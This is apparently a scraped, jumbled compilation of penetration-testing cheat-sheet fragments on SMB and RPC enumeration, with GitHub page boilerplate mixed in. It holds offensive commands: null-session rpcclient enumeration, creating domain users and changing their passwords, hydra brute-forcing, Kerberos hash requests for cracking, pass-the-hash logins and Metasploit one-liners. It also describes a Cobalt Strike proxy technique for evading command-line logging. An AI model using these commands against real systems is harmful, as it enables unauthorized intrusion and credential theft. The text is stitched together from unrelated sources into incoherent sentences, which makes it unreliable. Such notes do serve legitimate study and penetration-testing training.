| \\[ip]\ADMIN$: lookupdomain Lookup Domain Name rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1013 Workgroup Master Since the user and password-related information is stored inside the SAM file of the Server. | VULNERABLE: | Current user access: . |_smb-vuln-ms10-061: false if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! exit takes care of any password request that might pop up, since were checking for null login. wwwroot Disk D 0 Thu Sep 27 16:26:00 2018 If proper privileges are assigned it also possible to delete a user using the rpcclient. After creating the group, it is possible to see the newly created group using the enumdomgroup command. At last, it can be verified using the enumdomusers command. deleteform Delete form dfsadd Add a DFS share getdriver Get print driver information It can be used on the rpcclient shell that was generated to enumerate information about the server. querygroupmem Query group membership In the demonstration, the user with RID 0x1f4 was enumerated regarding their password properties. 1. | grep -oP 'UnixSamba. We can filter on ntlmssp.ntlmv2_response to see NTLMv2 traffic, for example. -z $2 ]; then rport=$2; else rport=139; fi, tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' Curious to see if there are any "guides" out there that delve into SMB . # download everything recursively in the wwwroot share to /usr/share/smbmap. rpcclient $> enumprivs In this specific demonstration, there are a bunch of users that include Administrator, yashika, aarti, raj, Pavan, etc. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1004 To do this first, the attacker needs a SID. Flashcards. Enum4linux. | Comment: Disk Permissions Once we have a SID we can enumerate the rest. deldriverex Delete a printer driver with files We have enumerated the users and groups on the domain but not enumerated the domain itself. [+] IP: [ip]:445 Name: [ip] *' # download everything recursively in the wwwroot share to /usr/share/smbmap. Cracking Password. Adding it to the original post. In the demonstration, it can be observed that the SID that was enumerated belonged to the Administrator of the Builtin users. ADMIN$ Disk Remote Admin Query Group Information and Group Membership. result was NT_STATUS_NONE_MAPPED. This command can be used to extract the details regarding the user that the SID belongs. Read previous sections to learn how to connect with credentials/Pass-the-Hash. MSRPC was originally derived from open source software but has been developed further and copyrighted by . 623/UDP/TCP - IPMI. shutdown Remote Shutdown The deletedomuser command is used to perform this action. The polices that are applied on a Domain are also dictated by the various group that exists. | Comment: Remote Admin | State: VULNERABLE When dealing with SMB an attacker is bound to be dealt with the Network Shares on the Domain. offensive security. The name is derived from the enumeration of domain users. When provided the username, it extracts information such as the username, Full name, Home Drive, Profile Path, Description, Logon Time, Logoff Time, Password set time, Password Change Frequency, RID, Groups, etc. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2004 Shortcut to New Folder (2).lnk A 420 Sun Dec 13 05:24:51 2015 In the demonstration, it can be observed that a query was generated for LSA which returned with information such as Domain Name and SID. As from the previous commands, we saw that it is possible to create a user through rpcclient. INet~Services <1c> - M | smb-vuln-ms17-010: enumprinters Enumerate printers rpcclient $> queryuser msfadmin. As with the lsaenumsid, it was possible to extract the SID but it was not possible to tell which user has that SID. |_ Current user access: READ C$ NO ACCESS without the likes of: which most likely are monitored by the blue team. | account_used: guest Enumerate Domain Groups. Allow connecting to the service without using a password? Many groups are created for a specific service. | Type: STYPE_IPC_HIDDEN enumkey Enumerate printer keys Upon running this on the rpcclient shell, it will extract the groups with their RID. Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds. | Comment: Default share Upon running this on the rpcclient shell, it will extract the usernames with their RID. My #1 SMB tip: if the exploit you're using fails despite the target appearing vulnerable, reset the machine and try again. It is possible to perform enumeration regarding the privileges for a group or a user based on their SID as well. May need to run a second time for success. sign Force RPC pipe connections to be signed Are you sure you want to create this branch? [DATA] attacking service smb on port 139 This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. --------------- ---------------------- The lsaaddacctrights command can be used to add privileges to a user based on their SID. ENUMERATING USER ACCOUNTS ON LINUX AND OS X WITH RPCCLIENT, Hacking Samba on Ubuntu and Installing the Meterpreter. samlookuprids Look up names sourcedata Source data The group information helps the attacker to plan their way to the Administrator or elevated access. In the demonstration, a user hacker is created with the help of a createdomuser and then a password is provided to it using the setuserinfo2 command. SANS Penetration Testing | Plundering Windows Account Info via Example output is long, but some highlights to look for: ngrep is a neat tool to grep on network data. Manh-Dung Nguyen Blog Pentest Publications Whoami @ rpcclient - Help - Penetration Test Resource Page ? Host script results: The ability to manipulate a user doesnt end with creating a user or changing the password of a user. --------------- ---------------------- lsaaddacctrights Add rights to an account The name is derived from the enumeration of domain groups. This is newer version of SMB. This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). lookupsids Convert SIDs to names 445/tcp open microsoft-ds result was NT_STATUS_NONE_MAPPED At this point in time, if you can use anonymous sessions, then there are some very useful commands within the tool. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. queryuser Query user info Pentesting Cheatsheets. seal Force RPC pipe connections to be sealed Depending on the user privilege it is possible to change the password using the chgpasswd command. RID is a suffix of the long SID in a hexadecimal format. PORT STATE SERVICE While having some privileges it is also possible to create a user within the domain using the rpcclient. Honor privileges assigned to specific SID? This command can help with the enumeration of the LSA Policy for that particular domain. queryaliasmem Query alias membership Many system administrators have now written scripts around it to manage Windows NT clients from their UNIX workstation. To extract further information about that user or in case during the other enumeration the attacker comes into the touch of the SID of a user, then they cause to use the lookupsids command to get more information about that particular user. Learn offensive CTF training from certcube labs online . remark: IPC Service (Mac OS X) Get help on commands In the case of queryusergroups, the group will be enumerated. -W, --workgroup=WORKGROUP Set the workgroup name yet another reason to adjust your file & printer sharing configurations when you take your computer on the road (especially if you share your My Documents folder), Yeah so i was bored on the hotel wirelesserrr laband started seeing who had ports 135, 139, 445 open. path: C:\tmp In general, the rpcclient can be used to connect to the SMB protocol as well. ADMIN$ NO ACCESS Nmap scan report for [ip] S-1-5-21-1835020781-2383529660-3657267081-1013 LEWISFAMILY\mail (2) guest S-1-5-21-1835020781-2383529660-3657267081-1063 (Local Group: 4) getdriverdir Get print driver upload directory In the demonstration, it can be observed that the current user has been allocated 35 privileges. If in the above example the ttl=127, then it is safe to assume (from this information alone) that the host, 10.10.10.10, is a Linux host. smbmap -H [ip/hostname] will show what you can do with given credentials (or null session if no credentials). rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003 rpcclient $> lookupnames root Enumerating Active Directory Using RPCClientInformation about password levels can be found using this MSDN article.https://docs.microsoft.com/en-us/openspecs. --------------- ---------------------- To begin the enumeration, a connection needs to be established. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1014 S-1-5-21-1835020781-2383529660-3657267081-2003 LEWISFAMILY\user (2) help Get help on commands I create my own checklist for the first but very important step: Enumeration. rpcclient enumeration - HackTricks In this article, we were able to enumerate a wide range of information through the SMB and RPC channel inside a domain using the rpcclient tool. platform_id : 500 | Comment: Remote IPC 4. SegFault:~ cg$rpcclient -U "" 192.168.182.36 Enter WORKGROUP\root's password: rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1010 | Type: STYPE_DISKTREE Some of these commands are based on those executed by the Autorecon tool. It also includes the commands that I used on platforms such as Vulnhub and Hack the Box. NETLOGON READ ONLY lsaenumprivsaccount Enumerate the privileges of an SID rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003 | References: dsroledominfo Get Primary Domain Information All this can be observed in the usage of the lsaenumprivaccount command. Flashcards. The connection uses. if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. This can be done by providing the Username and Password followed by the target IP address of the server. Guest access disabled by default. PWK Notes: SMB Enumeration Checklist [Updated] - 0xdf hacks stuff If you want to enumerate all the shares then use netshareenumall. This information can be elaborated on using the querydispinfo. This command will show you the shares on the host, as well as your access to them. This can be obtained by running the lsaenumsid command. 135, 593 - Pentesting MSRPC - HackTricks A tag already exists with the provided branch name. | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. dfsenum Enumerate dfs shares debuglevel Set debug level The TTL drops 1 each time it passes through a router. lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) Might ask for password. Where the output of the magic script needs to be stored? netname: ADMIN$ After the tunnel is up, you can comment out the first socks entry in proxychains config. Adding it to the original post. May need to run a second time for success. In other words - it's possible to enumerate AD (or create/delete AD users, etc.) lsaquerysecobj Query LSA security object Server Message Block (SMB) is a client-server protocol that regulates access to files and entire directories and other network resources such as printers, routers, or interfaces released for the network.The main application area of the protocol has been the Windows operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that . enumjobs Enumerate print jobs *[[:digit:]]' port 139 in one terminal and then echo exit | smbclient -L [IP] in another will dump out a bunch of info including the version. CTF solutions, malware analysis, home lab development, Looking up status of [ip] This cheat sheet should not be considered to be complete and only represents a snapshot in time when I used these commands for performing enumeration during my OSCP journey. proxychains nmap -sTV -n -PN -p 80,22 target-ip -vv. This will help in getting the information such as the kind of password policies that have been enforced by the Administrator in the domain. In this lab, it is assumed that the attacker/operator has gained: code execution on a target system and the beacon is calling back to the team server, to be interrogated by 10.0.0.5 via 10.0.0.2. rpcclient is a part of the Samba suite on Linux distributions. It is possible to enumerate the minimum password length and the enforcement of complex password rules. rpcclient $> lookupnames guest rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1012 Similarly to enumerate the Primary Domain Information such as the Role of the machine, Native more of the Domain can be done using the dsroledominfo command as demonstrated. 1690825 blocks of size 2048. # lines. WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort Custom wordlist. -A, --authentication-file=FILE Get the credentials from a file ---- ----------- setprintername Set printername SQL Injection & XSS Playground. S-1-5-21-1835020781-2383529660-3657267081-1000 LEWISFAMILY\root (1) The RPC service works on the RPC protocols that form a low-level inter-process communication between different Applications. Hence, they usually set up a Network Share. S-1-5-21-1835020781-2383529660-3657267081-1009 LEWISFAMILY\tty (2) OSCP notes: ACTIVE INFORMATION GATHERING. | Disclosure date: 2006-6-27 result was NT_STATUS_NONE_MAPPED #These are the commands I run in order every time I see an open SMB port, smbclient -N //{IP}/ --option="client min protocol"=LANMAN1, crackmapexec smb {IP} --pass-pol -u "" -p "", crackmapexec smb {IP} --pass-pol -u "guest" -p "", GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all, GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat, GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/", smbmap -H {IP} -u {Username} -p {Password}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`, crackmapexec smb {IP} -u {Username} -p {Password} --shares, GetADUsers.py {Domain_Name}/{Username}:{Password} -all, GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat, GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request, https://book.hacktricks.xyz/pentesting/pentesting-smb, Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}, Description: SMB Vuln Scan With Nmap (Less Specific), Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}, Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb, Name: SMB/SMB2 139/445 consolesless mfs enumeration, Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole, Note: sourced from https://github.com/carlospolop/legion, Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'. Let's see how this works by firstly updating the proxychains config file: Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: proxychains rpcclient 10.0.0.6 -U spotless, Victim (10.0.0.2) is enumerating DC (10.0.0.6) on behalf of attacker (10.0.0.5). addform Add form samquerysecobj Query SAMR security object Most of the Corporate offices dont want their employees to use USB sticks or other mediums to share files and data among themselves. May need to run a second time for success. rpcclient is a utility initially developed to test MS-RPC functionality in Samba itself. From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. setprinter Set printer comment It can be used on the rpcclient shell that was generated to enumerate information about the server. Host is up (0.037s latency). rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1006 Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. The tool is written in Perl and is basically . | Anonymous access: LEWISFAMILY Wk Sv PrQ Unx NT SNT Mac OS X getdompwinfo Retrieve domain password info Replication READ ONLY The next command that can help with the enumeration is lsaquery. Chapter 2 - Recon & Enumeration - oscp result was NT_STATUS_NONE_MAPPED This is what happens - attacker (10.0.0.5) uses proxychains with impacket's reg utility to retrieve the hostname of the box at 10.0.0.7 (WS02) via the compromised (CS beacon) box 10.0.0.2 (WS01): keyName hklm\system\currentcontrolset\control\computername\computername. This is an enumeration cheat sheet that I created while pursuing the OSCP. It can be observed that the os version seems to be 10.0. C$ Disk Default share Next, we have two query-oriented commands. -U, --user=USERNAME Set the network username SYSVOL NO ACCESS, [+] Finding open SMB ports. That command reveals the SIDs for different users on the domain. To explain how this fits in, let's look at the examples below: When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object. For this particular demonstration, we will first need a SID. Nowadays it is not very common to encounter hosts that have null sessions enabled, but it is worth a try if you do stumble across one. srvinfo Server query info With the free software project, , there is also a solution that enables the use of. S-1-5-21-1835020781-2383529660-3657267081-1002 LEWISFAMILY\daemon (1) rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1007 Try "help" to get a list of possible commands. It contains contents from other blogs for my quick reference DFS To extract information about the domain, the attacker can provide the domain name as a parameter to the command lookupdomain as demonstrated. -O, --socket-options=SOCKETOPTIONS socket options to use The next command to demonstrate is lookupsids. lookupnames Convert names to SIDs NETLOGON NO ACCESS abortshutdown Abort Shutdown *', # download everything recursively in the wwwroot share to /usr/share/smbmap. result was NT_STATUS_NONE_MAPPED | \\[ip]\wwwroot: Are there any resources out there that go in-depth about SMB enumeration? The main application area of the protocol has been the, operating system series in particular, whose network services support SMB in a downward-compatible manner - which means that devices with newer editions can easily communicate with devices that have an older Microsoft operating system installed. On other systems, youll find services and applications using port 139. While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. Protocol_Name: SMB #Protocol Abbreviation if there is one. 631 - Internet Printing Protocol (IPP) 873 - Pentesting Rsync. This lab shows how it is possible to bypass commandline argument logging when enumerating Windows environments, using Cobalt Strike and its socks proxy (or any other post exploitation tool that supports socks proxying). In the demonstration below, the attacker chooses S-1-1-0 SID to enumerate. ---- ----------- However, for this particular demonstration, we are using rpcclient. | smb-enum-shares: The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. This can be verified using the enumdomgroups command. Host is up (0.030s latency). . The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following: If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about. smbclient (null session) enum4linux. {% code-tabs-item title="attacker@kali" %}. First one - two Cobalt Strike sessions: PID 260 - beacon injected into dllhost process. -P, --machine-pass Use stored machine account password enumdataex Enumerate printer data for a key rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2001 You get the idea, was pretty much the same for the Ubuntu guy cept that his user accounts were -3000. Code Execution. MAC Address: 00:50:56:XX:XX:XX (VMware) The article is focused on Red Teamers but Blue Teamers and Purple Teamers can also use these commands to test the security configurations they deployed. samsync Sam Synchronisation | Comment: so lets run rpcclient with no options to see whats available: SegFault:~ cg$ rpcclient We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. --------------- ---------------------- # You will be asked for a password but leave it blank and press enter to continue. | Type: STYPE_DISKTREE_HIDDEN . What permissions must be assigned to the newly created directories? 3. quit Exit program oscp pwk enumeration smb nmblookup smbclient rpcclient nmap enum4linux smbmap It contains contents from other blogs for my quick reference, * nmap -sV --script=vulscan/vulscan.nse (https://securitytrails.com/blog/nmap-vulnerability-scan), masscan -p1-65535,U:1-65535 --rate=1000 10.10.10.x -e tun0 > ports, ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//'), nmap -Pn -sC -sV --script=vuln*.nse -p$ports 10.10.10.x -T5 -A, (performs full scan instead of syn-scan to prevent getting flagged by firewalls), From Apache Version to finding Ubuntu version -> ubuntu httpd versions, : Private key that is used for login. IS~[hostname] <00> - M [+] IP: [ip]:445 Name: [ip] schannel Force RPC pipe connections to be sealed with 'schannel' (NETSEC). | References: You signed in with another tab or window. To demonstrate this, the attacker first used the lsaaddpriv command to add the SeCreateTokenPrivielge to the SID and then used the lsadelpriv command to remove that privilege from that group as well. Forbid the creation and modification of files? rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-500 createdomuser Create domain user | Anonymous access: This will use, as you point out, port 445. S-1-5-21-1835020781-2383529660-3657267081-2002 LEWISFAMILY\user (1) SecureAuthCorp/impacket, https://www.cobaltstrike.com/help-socks-proxy-pivoting. It is possible to target the group using the RID that was extracted while running the enumdomgroup. The privileges can be enumerated using the enumprivs command on rpcclient. Port_Number: 137,138,139 #Comma separated if there is more than one. It has undergone several stages of development and stability. change_trust_pw Change Trust Account Password Defense Evasion. In our previous attempt to enumerate SID, we used the lsaenumsid command. Pentesting Cheatsheets - Red Team Notes 139,445 - Pentesting SMB - HackTricks Enumerate Domain Users. SRVSVC -I, --dest-ip=IP Specify destination IP address, Help options This group constitutes 7 attributes and 2 users are a member of this group. When it was passed as a parameter in the command lookupsids, the attacker was able to know that this belongs to the group Everyone. A Mind Map about OSCP Guide submitted by Rikunj Sindhwad on Jun 12, 2021. Enumeration - Adithyan's Blog Nmap scan report for [ip] But sometimes these don't yield any interesting results. 1080 - Pentesting Socks. Hashes work. | Type: STYPE_DISKTREE_HIDDEN In this article, we are going to focus on the enumeration of the Domain through the SMB and RPC channels. # lines. Using lookupnames we can get the SID. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! rpcclient $> lookupnames lewis Can be Contacted onTwitterandLinkedIn, All Rights Reserved 2021 Theme: Prefer by, Windows Privilege Escalation: DnsAdmins to DomainAdmin. echoaddone Add one to a number 139/tcp open netbios-ssn Assumes valid machine account to this domain controller. Initial Access.
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